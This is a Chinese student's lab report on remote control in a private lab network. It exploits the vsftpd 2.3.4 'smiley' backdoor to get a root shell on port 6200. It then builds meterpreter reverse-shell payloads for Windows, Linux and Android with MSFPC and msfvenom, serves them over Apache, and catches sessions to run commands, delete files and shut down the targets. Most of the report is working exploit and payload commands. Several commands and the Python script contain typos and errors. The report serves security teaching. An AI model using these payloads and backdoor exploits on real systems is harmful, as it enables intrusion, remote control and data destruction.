一、远程控制介绍
当一个漏洞成为黑客进入计算机系统的入口时,我们需要通过信息搜集等方法来定位这个入口,甚至找到利用该漏洞的“钥匙”来进入系统。以笑脸漏洞为例,我们不仅仅是发现了这个入口,甚至还找到了利用它的方式。笑脸漏洞只是漏洞的一个特例,在目标主机上运行的vstftpd-2.3.4被黑客利用笑脸漏洞成功渗透,就会在6200端口打开一个连接,黑客可以通过这个连接实现对目标主机的控制。如果把这个连接比作一个很小的入口,它可能刚好足够让一人爬行通过,而我们将要介绍的是如何将这个入口扩大,使得卡车都可以自由进出。这个更大的入口就是我们所说的远程控制。
二、为什么6200端口变成了一个“后门”
2.1 介绍
在网络安全领域,术语“后门”通常指的是一种非法方式在系统或网络中设置的一种隐藏访问通道,用于绕过正常的认证和授权机制,以获取未经授权的访问权限。在您提到的情况中,将6200端口描述为一个“后门”可能是因为以下原因:
利用漏洞:通过利用目标主机上运行的vstftpd-2.3.4版本存在的漏洞(笑脸漏洞),黑客可以在目标主机上成功渗透并在6200端口打开一个连接。这种情况下,黑客利用漏洞创建的连接可以被视为一种“后门”,因为黑客可以通过这个连接实现对目标主机的控制,绕过正常的安全控制机制。
隐藏性质:“后门”通常具有隐藏性质,即黑客设置后门时会尽量隐蔽,使其不易被发现。在这种情况下,黑客利用漏洞在6200端口打开的连接也可能被称为“后门”,因为它可能以一种隐藏的方式存在,让黑客能够在不被察觉的情况下持续地对目标系统进行控制和监控。
因此,6200端口被描述为一个“后门”可能是因为它在这种情况下扮演了黑客用来维持对目标系统控制的角色,通过这个端口可以实现对系统的非法访问和操控
2.2 实验内容
Netcat工具的使用:(以Metasploitable 2的80端口为例进行测试)
1.使用Netcat扫描某IP地址的指定端口
nc -v 192-168.105.156 80
2.使用Netcat连接指定IP地址的指定端口
nc 192.168.105.156 80
whoamin
I:激活笑脸漏洞,使其开启6200端口:
编写python脚本(文件名:backdoor.py):
import socket
from ftplib import FTP
host_ip="192.168.105.156"
ftp = FTP
backdoorstr = "heloo: )"
backdoorpass= 'me '
try:
ftp.connect(host_ip,21,timeout=2)
ftp.login(backdoorstr,backdoorpass)
except:
print( "done!")
执行并验证:
python backdoor.py
nmap -p 6200 192.168.105.156
I: 显示指定目录下的内容
nc -v 192.168.105.156 6200
whoami
root
ls
II: 尝试其它测试命令
mkdir wexiaobug
rm -rf weixiaobug
三、如何使用MSFPC生成被控端并进行远程控制
在Kali 2中生成被控端的工具:MSFPC(msfvenom的优化版)
3.1 MSFPC工具介绍
MSFPC(Metasploit Payload Creator)是 Metasploit 框架中的一个工具,它是对 msfvenom 的优化版本,旨在简化和加快生成 Metasploit 载荷的过程。MSFPC 允许安全研究人员、渗透测试人员和黑客快速生成各种类型的 Metasploit 载荷,以进行渗透测试、漏洞利用和安全研究。MSFPC 是一个实用的工具,可以帮助安全专业人员快速、灵活地生成各种类型的 Metasploit 载荷,帮助他们进行安全测试和漏洞利用。
3.2 实验内容
3.2.1 生成windows系统下的被控端并进行远程控制
步骤一:生成Windows操作系统下的被控端
msfpc windows 192.168.105.154
步骤二:把被控端放到kali的网站主目录下,启动apache2,到目标靶机(WinXPenSP3)下载被控端并运行。
1.把被控端放到kali的网站主目录下
sudo cp windows-meterpreter-staged-reverse-tcp-443.exe /var/wmw /html/
ls /var/www/htal
2.启动apache2
检查apache2服务是否启动
systemctl start apache2
systemctl status apache2
3.到目标靶机(WinXPenSP3)下载被控端并运行
(1)给被控端改一个好记的名字。
sudo mv windows-meterpreter-staged-reverse-tcp-443.exe /var/ww/html/win.exe
(2)在目标靶机下载被控端
(3)运行被控端
步骤三:在kali中运行主控端
配置对应的主控端
msfconsole -q -r ' /home/kali/windows-meterpreter-staged-reverse-tcp-443-exe,rc'
步骤四:控制目标靶机一(WinXPenSP3)
1.查看会话,并选择会话。
sessions
sessions 2
2.列出当前目录下的所有文件等。
ls -l
3.打开cmd执行各种命令,如查看文件夹内容、操作系统信息、关机。
Shell
设置1000毫秒后关机,并弹出提示信息“hello!”。
4.退出shell
步骤五:类似上述操作,控制目标靶机二(32位Windows7)
1.在kali中使用background命令回到主控端控制台。
background
2.到目标靶机(32位Windows7)下载被控端并运行
3.在kali中是否自动打开?
4.查看并选择会话3,控制32位windows7。
5、打开cmd执行各种命令,如查看文件夹内容、操作系统信息、关机。
(1)输入shell
(2)查看操作系统信息
(3)延时关闭系统并显示提示信息
(4)退出shell,关闭所有会话。
如果要结束会话1,使用什么命令?
在sessions内使用exit,或者直接在主控端控制台使用kidsi
四、生成android系统下的被控端并进行远程控制
测试android系统实验使用的网络环境,填写以下IP地址:
测试用android系统的IP: 192.168.105.139
虚拟机Kali Linux 2的IP: 192.168.105.135
4.1 实验内容
步骤一:生成android操作系统下的被控端
msfpc apk https
步骤二:把被控端放到kali的网站主目录下,启动apache2,到目标靶机(安卓虚拟机)下载被控端并运行。
1、把被控端放到kali的网站主目录下
将被控端改名为:android
sudo cp android-meterpreter-stageless-reverse-https-443.apk /var/www/html
sudo mv android-meterpreter-stageless-reverse-https-443.apk /var/www/html/android.apk
2、启动apache2
检查apache2服务是否启动?
如果没有启动,启动apache2。
systemctl start apache2
systemctl status apache2
3、到目标靶机(安卓虚拟机)下载被控端并运行
(1)在目标靶机(安卓虚拟机)下载被控端
(2)运行被控端
更改设置:允许安装来自未知来源的应用。
更改之后,再次运行被控端,并选择打开。
步骤三:在kali中运行主控端
配置对应的主控端(一定要用root身份运行)
安卓机运行被控端之前,如下图。
sudo msfconsole -q -r '/home/kali/android-meterpreter-stageless-reverse-https-443-apk.rc'
安卓机运行被控端之后,如下图。
步骤四:控制目标靶机(安卓虚拟机)
1.查看会话,并选择会话
sessions
2、输入shell,执行各种命令,如查看操作系统信息、切换到root用户等。
查看当前用户帐号。
shell
whoami
查看操作系统信息。
uname -a
切换到root用户。
su
(1)在安卓虚拟机中弹出提示信息,选择“拒绝
在kali中可以看到操作结果是什么?
(2)在安卓虚拟机中弹出提示信息,选择“允许”。
在kali中可以看到操作结果是什么?
在kali中输入whoami,显示当前用户。
切换为root用户之后,可以对安卓机进行最大权限的控制,比如关闭selinux、读取文件等。
I:当前安卓机的selinux状态:许可
II:尝试在Download目录下载一个windows的被控端。
切换到Download目录,查看当前目录的所有文件:
下载windows的被控端win.exe和txt文件haha.txt:
III:删除Download目录中的所有文件
rm -rf *
(3)退出
五、生成Linux系统下的被控端并进行远程控制
生成Linux操作系统下的被控端(只做此步骤,后续步骤选做!)
msfpc linux
六、如何使用msfvenom生成被控端并进行远程控制
在Kali 2中生成被控端的工具:msfvenom(msfvenom是渗透测试工具Metasploit中的一个命令)
6.1 msfvenom介绍
msfvenom是Metasploit框架中的一个强大的命令行工具,用于生成各种类型的恶意软件载荷(payloads)。这些载荷可以是各种格式的,如可执行文件、脚本、shellcode等,可以针对不同的目标平台(如Windows、Linux、Android等)和架构(如x86、x64、ARM等)进行定制。
msfvenom可用于创建用于渗透测试、漏洞利用和安全评估的恶意软件,例如远程命令执行、Shell反弹、文件上传等。它支持多种编程语言和格式,包括可执行文件(exe)、Shellcode、JavaScript、PHP等。
通过msfvenom,渗透测试人员可以定制并生成各种类型的恶意载荷,以测试网络和应用程序的安全性,并评估目标系统的弱点。然后,这些生成的恶意载荷可以与Metasploit框架中的其他模块结合使用,实现各种攻击和渗透测试目标。
6.2 实验内容
前导
1、查看帮助信息
msfvenom --help
2、查看所有可以使用的攻击模块
msfvenom -l payloads
3、筛选出使用reverse_tcp的模块
msfvenom -l payloads l grep reverse_tcp
4.使用--list-options选项查看攻击载荷需要设置的参数。
msfvenom --list-options -p windows/meterpreter/reverse_tcp
6.2.1 生成windows系统下的被控端并进行远程控制
测试windows系统实验使用的网络环境,填写以下IP地址:
测试用windows系统(WinXPenSP)的IP: 192.168.105.137
虚拟机Kali Linux 2的IP: 192.168.105.135
步骤一:生成Windows操作系统下的被控端并放入目标靶机运行
options(选项):
-p 指定要生成的攻击荷载(payload)
-f 输出格式(format)
-o 输出(out)存储payload的位置
方法一(教材): 将被控端payload.exe生成到/var/payload.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.105.135 lport=5000 -f exe 0 -o /var/payload.exe
方法二:将被控端winpayload.exe生成到网站的目录(/var/www/html/)下,然后到靶机中用浏览器下载并运行。
(1)将被控端改名为winpayload.exe复制到网站的目录(/var/www/html/)下
cp /var/payload.exe /var/www/html/winpayload.exe
ls var/www/html
(2)检查apache2服务是否启动
systemctl status apache2.service
(3)启动apache2服务
systemctl start apache2.service
(4)到靶机WinXPenSP3中用浏览器下载并运行
步骤二 :启动主控端
1、启动metasploit,进入metasploit(msf)的控制台。
msfconsole
2、使用handler模块,然后配置参数。
<1>use exploit/multi/handler
使用--list formats查看Metasploit所有支持的格式:
use exploit/multi/handler
<2>设置攻击载荷为windows/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp
<3>设置lhost为kali的IP
set lhost 192.168.xxx.xxx
<4>设置lpost为5000
set lport 5000
(5)发起攻击(等待目标靶机WinXPenSP3上线)
是否建立会话?exploit
步骤三:控制目标靶机(WinXPenSP3)
输入shell,执行各种命令,如查看操作系统信息、磁盘信息、关闭系统等。
(1)查看操作系统信息
shell
systeminfo
(2)查看目标靶机有哪些磁盘
diskpart
list disk
(3)延时关闭系统并弹出提示框
shutdown -s -t 1000 -c "system error!"
(4)退出控制
exit
backeround
6.2.2 生成linux系统下的被控端并进行远程控制
测试linux系统实验使用的网络环境,填写以下IP地址:
测试用linux系统(Metasploitable2-Linux)的IP: 192.168.105.136
虚拟机Kali Linux 2的IP:192.168.105.135
步骤一:生成linux操作系统下的被控端并放入目标靶机运行
1、查看linux的攻击载荷
msfvenom -l payloads | grep reverse_tcp
2、生成被控端
(1)将被控端linuxpayload.elf生成到网站的目录(/var/www/html/)下,稍后到靶机中用浏览器下载并运行。
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.105.135 lport=5001 -f elf -o /var/www/html/linuxpayload.elf
(2)检查apache2服务是否启动,如果未启动apache2服务,则需要启动。
步骤二 :启动主控端
1、启动metasploit,进入metasploit(msf)的控制台。
2、使用handler模块,然后配置参数。
(1)使用handler模块
use exploit/multi/handler
(2)设置攻击载荷为linux/x86/meterpreter/reverse_tcp
set payload linux/x86/meterpreter/reverse_tcp
(3)设置lhost为kali的IP
set lhost 192.168.xxx.xxx
(4)设置lpost为5001
set lport 5001
(5)发起攻击(等待目标靶机Metasploitable2-Linux上线)
exploit
步骤三 :到目标靶机(Metasploitable2-Linux)下载攻击载荷并运行。
1、下载被控端
2、查看被控端是否给了执行权限,没给则需要添加执行权限。
3、运行被控端
返回到kali,是否建立会话?
步骤四:控制目标靶机(Metasploitable2-Linux)
输入shell,执行各种命令,如查看操作系统信息、磁盘信息、关闭系统等。
(1)查看操作系统信息
shell
(2)查看主机名
hostname
(3)查看IP地址
(4)使用curl命令访问kali的网页
(5)退出控制
6.2.3 生成android系统下的被控端并进行远程控制
测试android系统实验使用的网络环境,填写以下IP地址:
测试用android系统的IP:192.168.105.141
虚拟机Kali Linux 2的IP:192.168.105.135
步骤一:生成android操作系统下的被控端并放入目标靶机运行
1、查看android的攻击载荷(只查看使用reverse_tcp)
msfvenom -l pavloads l grep reverse tcp
2、生成被控端
(1)将被控端androidpayload.apk生成到网站的目录(/var/www/html/)下
(2)检查apache2服务是否启动,如果未启动apache2服务,则需要启动。
sudo msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.105.135lport-5002 -o /var/ ww /html/androidpayload.apk
步骤二 :启动主控端
1.启动metasploit,进入metasploit(msf)的控制台。
2、使用handler模块,然后配置参数。
(1)使用handler模块
use exploit/multi/handler
(2)设置攻击载荷为android/meterpreter/reverse_tcp
set payload android/meterpreter/reverse_tcp
(3)设置lhost为kali的IP
set lhost 192.168.105.135
(4)设置lpost为5002
set lport 5002
(5)发起攻击(等待目标靶机android-86_64-7.1-r5上线)
exploit
步骤三 :到目标靶机(android-86_64-7.1-r5)下载攻击载荷并运行。
1、下载被控端
2、运行被控端
返回到kali,是否建立了会话?
步骤四:控制目标靶机(android-86_64-7.1-r5)
输入shell,执行各种命令,如查看操作系统信息、磁盘信息、关闭系统等。
1、输入:shell
2、查看当前用户名
3、查看操作系统信息
5、尝试切换到root用户
(1)在安卓虚拟机中弹出提示信息,选择“拒绝”。
在kali中可以看到什么结果?
(2)在安卓虚拟机中弹出提示信息,选择“允许”。
在kali中可以看到什么结果?
在kali中输入whoami,显示当前用户。
切换为root用户之后,可以对安卓机进行最大权限的控制。
I:显示根目录的文件
II:进入存储卡中的下载目录(sdcard/Download),查看当前目录的文件。
cd /mnt/sdcard/Download
ls
III:删除Download目录中的文件
rm -rf androidpayload.apk
ls Download
IV:关闭系统
关闭系统之后,主控端无法再继续控制了。
退出
七、实验心得
在进行远程控制方面的实验中,我首先学习了如何使用MSFPC和msfvenom这两个工具生成被控端,并通过Metasploit框架进行远程控制。这些工具对于渗透测试和安全评估非常有用,但同时也需要谨慎使用,以避免违反法律和道德规范。
通过实验,我学到了以下几点:
工具的安装和使用:首先,我学习了如何安装和配置MSFPC和msfvenom这两个工具。了解了它们的基本用法和命令选项。
Payload生成:使用MSFPC和msfvenom生成适用于不同目标平台的Payload。我了解到Payload可以是各种格式的文件,如可执行文件、脚本等,而生成的Payload可以针对特定的目标系统和架构进行定制。
监听器的配置:学习了在Metasploit中配置监听器以侦听被控端的连接。这包括设置监听的地址和端口,以及选择合适的Payload类型。
Payload的部署:学习了将生成的Payload发送给目标设备并执行的步骤。这需要一定的社会工程学技巧,以确保目标用户执行Payload。
远程控制操作:一旦目标设备执行了Payload并与监听器建立了连接,我学习了如何在Metasploit中进行远程控制操作。这包括执行命令、上传下载文件、截取屏幕等功能。
这次实验让我对远程控制的原理和实践有了更深入的了解。我将继续学习和实践,不断提升自己在网络安全领域的技能,并始终保持合法合规的原则。